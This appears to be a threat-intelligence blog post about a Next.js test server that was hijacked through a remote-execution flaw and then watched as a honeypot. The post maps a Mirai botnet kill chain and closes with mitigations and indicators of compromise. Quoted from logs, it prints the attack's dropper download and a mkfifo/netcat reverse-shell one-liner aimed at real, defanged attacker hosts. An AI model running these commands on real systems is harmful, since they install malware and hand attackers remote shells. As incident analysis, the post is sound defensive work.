Back to articles

Threat Intelligence

From Vibe Coding to Threat Hunting: How I Built a Honeypot That Caught the Mirai Botnet

TL;DR:

A developer friend was testing his Chess CoPilot analytic engine application when a critical React2Shell vulnerability in Next.js became the entry point for threat actors deploying Mirai botnet. After observing the initial attack, I decided to build a honeypot to capture and analyze the complete malware infection chains in real-time. Over days of continuous monitoring, we observed dozens of unique attacking IPs, mapped 3 C2 servers, captured 12 Mirai botnet variants across different architectures, and fully reconstructed the kill chain from initial exploit to C2 control.

Background:

My friend was developing a Chess CoPilot, an analytic engine designed to analyze all chess game plays and provide real-time position analysis. Given the computational intensity of the operation, he deployed it on a cloud infrastructure for testing purposes.

The application was intentionally deployed in a test environment with relaxed security to speed up debugging, which meant several ports remained exposed. Nobody expects a testing instance to be attacked within minutes, but the internet rarely behaves as expected.

The Warning Signs: A Distributed Assault

The testing environment was already experiencing sustained, coordinated attacks:

Attack Vector #1: SSH Brute Force on Port 22

1000+ failed login attempts per day
Common usernames probed: root, admin, postgres, ubuntu, deploy
Password patterns: 123456, password, root, admin
Source: 40+ distributed IPs
Duration: Continuous, automated

Attack Vector #2: Redis Authentication Bypass (Port 6379)

Repeated connection attempts to default Redis port
Commands attempted: KEYS *, FLUSHALL, CONFIG GET, SET operations
Objective: Either credential theft or command injection
Source: Same distributed bot network

Attack Vector #3: React2Shell Vulnerability Probing

POST /api/* endpoints receiving suspicious payloads
Fuzzing for eval(), exec(), or dangerous template evaluation
Initial payloads generic (script-kiddie reconnaissance)
Progressively more targeted as scanners learned the application structure

These weren’t random background noise. This was methodical reconnaissance leading to a larger exploitation.

The Incident: React2Shell RCE Discovery

The testing instance was compromised through a React2Shell vulnerability, a known CVE in certain Next.js versions that allows arbitrary code execution through server-side rendering gaps.

The Docker logs told the story:

[2025-12-25T04:10:35.203Z] ⨯ Error: Command failed: 
cd /tmp; 
wget -O /tmp/x[.]sh http://94[.]154[.]35[.]154/weball[.]sh; 
chmod +x /tmp/x[.]sh; 
sh /tmp/x[.]sh; 
rm /tmp/f;
mkfifo /tmp/f;
cat /tmp/f|/bin/sh -i 2>&1|nc 193[.]142[.]147[.]209 12323 >/tmp/f
[2025-12-25T04:10:36.891Z] Connecting to 94[.]154[.]35[.]154 (94[.]154[.]35[.]154:80)
[2025-12-25T04:10:37.241Z] saving to '/tmp/x[.]sh'
[2025-12-25T04:10:38.445Z] /tmp/x[.]sh: line 1: [./]x86_64[.]uhavenobotsxd: not found
[2025-12-25T04:10:40.123Z] Connecting to 94[.]154[.]35[.]154 (94[.]154[.]35[.]154:80)
[2025-12-25T04:10:41.567Z] saving to 'x86_64[.]uhavenobotsxd'
[2025-12-25T04:10:42.891Z] x86_64[.]uhavenobotsxd 100% |****| 95888 bytes

The testing instance was downloading and executing Mirai botnet binaries.

The Decision: Turn Defense Into Research

Instead of simply rebuilding the instance, we made a strategic decision to turn this test setup into an intentional honeypot and observe, in detail, how these attacks unfold, given there was essentially nothing to lose.

A honeypot is a deliberately vulnerable system designed to:

  • Attract threat actors and automated scanners
  • Capture every command, payload, and malware variant
  • Map complete C2 infrastructure
  • Understand attack methodology in real-time
  • Document the entire kill chain

The risk was minimal (completely isolated instance), but the potential insight was massive.

How The Attack Happened: The Kill Chain

Stage 1: React2Shell → RCE

An attacker discovered the unpatched Next.js instance and exploited the React2Shell vulnerability in the API layer. This upgraded a simple HTTP request into arbitrary shell execution:

cd /tmp; wget http://94[.]154[.]35[.]154/weball.sh -O x.sh;
chmod +x x.sh; sh x.sh; mkfifo /tmp/f;
cat /tmp/f | /bin/sh -i 2>&1 | nc 193[.]142[.]147[.]209 12323 > /tmp/f

This single line encodes the entire attack sequence: download dropper, execute it, establish reverse shell.

Stage 2: Dropper → Multi-Architecture Malware

The x.sh dropper was elegantly designed. Instead of deploying a single Mirai binary, it pulled down 12 different variants, each compiled for a different CPU architecture (x86_64, x86_32, ARM, ARMv5–7, MIPS, MIPSEL, PowerPC, SPARC, 68K, SH-4).

Why? The attacker doesn’t know the target architecture. By uploading all variants and letting them execute in parallel, they guarantee successful infection regardless of the system. It’s mass-market malware strategy: maximize reach across diverse infrastructure.

Result: All 12 binaries downloaded in 3 minutes. Only x86_64 executed successfully; the rest failed due to architecture mismatch.

Stage 3: Reverse Shell & C2 Connection

Once the correct binary executed, it established a bidirectional communication channel with the attacker’s C2 server:

mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 193[.]142[.]147[.]209 12323 > /tmp/f

Result: Attacker now has a full interactive terminal with complete command execution.

Stage 4: Persistence Through Watchdog

The malware implemented a watchdog mechanism that re-executed the entire infection chain every 5–10 minutes. Simply killing the malware wasn’t enough; you had to patch the vulnerability or remove the entire instance.

The Honeypot Operation: Gathering Intelligence

Once the honeypot was live, it immediately began collecting telemetry. Over the first few hours it recorded detailed information about attacker IPs, executed commands, malware downloads, and C2 connections.

Within a short window, the honeypot captured:

  • Hundreds of reconnaissance requests from automated scanners hitting common web and service paths
  • Two distinct exploitation campaigns: Mirai-related activity and a separate .systemd binary from a different C2
  • Clear evidence of persistence mechanisms repeatedly attempting to download and rerun the dropper script

Attack Timeline: The Complete Picture

Dec 25, 04:10 UTC: React2Shell Exploitation

  • Attacker IP: 101[.]36[.]107[.]228
  • Vulnerability: React2Shell in Next.js
  • Status: ✅ Successful RCE

Dec 25, 04:10–04:12 UTC: Dropper Download

  • Dropper script x.sh (2492 bytes) downloaded from 94[.]154[.]35[.]154
  • Script executed immediately

Dec 25, 04:12–04:30 UTC: Multi-Architecture Botnet Deployment

  • All 12 Mirai variants downloaded in sequence:
  • x86_64 (95.8 KB): ✅ Executed successfully
  • x86_32, ARM, ARMv5–7, MIPS, MIPSEL, PowerPC, SPARC, 68K, SH-4: All failed due to architecture mismatch
  • Timeline: 3 minutes total. Only the correct binary executed.

Dec 25, 04:15 UTC: C2 Connection Established

  • Reverse shell spawned
  • Socket connection to 193[.]142[.]147[.]209:12323 opened
  • Attacker now has interactive shell access

Dec 25, 04:16 UTC to Jan 2, 08:45 UTC: Persistence Retry Loop

  • Watchdog process executed 200+ times
  • Every 5–10 minutes: re-download dropper, re-execute malware
  • Consistent retry pattern across entire period

Dec 26, 03:37 UTC: Secondary Malware Attack

  • Attacker IP: 192[.]159[.]99[.]95 (different threat actor)
  • Payload: .systemd binary (stealth filename, hidden from ls)
  • C2: 188[.]214[.]30[.]148 (completely different infrastructure)
  • Evasion techniques: quiet downloads, fallback mechanism (wget → curl), self-deletion

Dec 26: Mass Automated Scanning

  • 50+ unique scanner IPs hitting the honeypot continuously
  • Generic payloads: PHP RCE, CGI-BIN, WordPress, Drupal probing
  • Automated reconnaissance activity 24/7

Technical Analysis: What The Honeypot Revealed

The 12 Mirai Variants

  • x86_64.uhavenobotsxd 95.8 KB ✅
  • x86_32.uhavenobotsxd
  • arm.uhavenobotsxd
  • Various ARMv5–7
  • mips*.uhavenobotsxd
  • powerpc.uhavenobotsxd
  • Various SPARC/68K/SH-4

Key insight: The attacker uploads for every possible architecture. Guaranteed success across diverse infrastructure (servers, IoT, routers, embedded systems).

C2 Infrastructure

  • 94[.]154[.]35[.]154:80 - Mirai binary hosting (primary)
  • 193[.]142[.]147[.]209:12323 - C2 reverse shell endpoint (primary)
  • 188[.]214[.]30[.]148 - Unknown malware C2 (secondary threat actor)

All Eastern European ASNs (Ukraine, Romania, Russia). Consistent with known Mirai operations.

Threat Actors Identified

Threat Actor #1: The Opportunist

  • IP: 101[.]36[.]107[.]228
  • Technique: Automated scanning + exploitation
  • Payload: Mirai botnet
  • Motive: Botnet recruitment for DDoS
  • Persistence: Watchdog, 200+ retries over 10 days

Threat Actor #2: The Specialist

  • IP: 192[.]159[.]99[.]95
  • Technique: Targeted payload deployment
  • Payload: Unknown binary (.systemd)
  • Sophistication: High (advanced evasion)
  • Motive: Likely cryptomining or rootkit

Threat Actors #3+: The Scanners

  • 50+ unique IPs
  • Automated mass-scanning botnets
  • Generic reconnaissance (Shodan-style)

Mitigation: Breaking The Kill Chain

  1. Update Next.js to Patch React2Shell: Most critical
  2. Disable Unused Ports: Use Docker network isolation
  3. Implement YARA Rules for Detection: Detect Mirai signatures
  4. Firewall Hardening: Remove debug endpoints
  5. Implement Rate Limiting: Fail2Ban on SSH even if SSH is configured with Private key encryption
  6. Implement WAF rules: Block suspicious POST payloads

IoCs (Indicators of Compromise)

C2 SERVERS:

  • 94[.]154[.]35[.]154:80
  • 193[.]142[.]147[.]209:12323
  • 188[.]214[.]30[.]148

MALWARE FILES:

  • x86_64[.]uhavenobotsxd (95,888 bytes)
  • arm7[.]uhavenobotsxd (130,408 bytes)
  • .systemd (~50KB)
  • x[.]sh (dropper)

ATTACKER IPs:

  • 101[.]36[.]107[.]228 (primary)
  • 192[.]159[.]99[.]95 (secondary)
  • 217[.]76[.]60[.]243 (scanner)
  • 78[.]153[.]140[.]177 (scanner)
  • 172[.]71[.]211[.]46 (scanner)

ATTACK PATTERNS:

  • POST /api/* with shell commands
  • Base64-encoded payloads
  • Binaries in /tmp/
  • Reverse shell to port 12323
  • Repeated wget to 94[.]154[.]35[.]154

Conclusion: Key Insights

  1. The internet is always knocking.
    A low-profile test instance with no traffic and no users still attracted automated exploitation within minutes. The question isn’t if something will poke at your stack, it’s how quickly and with what.
  2. One Misconfiguration is all it takes.
    A single React2Shell bug turned a harmless test box into a Mirai botnet node with full shell access and persistent reinfection. The rest of the stack didn’t matter once arbitrary command execution was on the table.
  3. Automation is the primary threat actor.
    Every attack in this story was driven by bots and scripts, not humans staring at terminals. Mass scanners, droppers, and watchdog loops did all the work while their operators slept.
  4. Old malware plus new bugs is a lethal combo.
    Mirai is a decade old, but paired with a fresh React2Shell exploit and multi-architecture payloads, it still scaled effortlessly across modern infrastructure.
  5. Honeypots turn victims into analysts.
    By isolating the environment and letting the bots do their thing, the setup produced a complete replay of a real-world kill chain: discovery, exploitation, payload delivery, C2, and persistence, perfect training data for hardening everything else.

References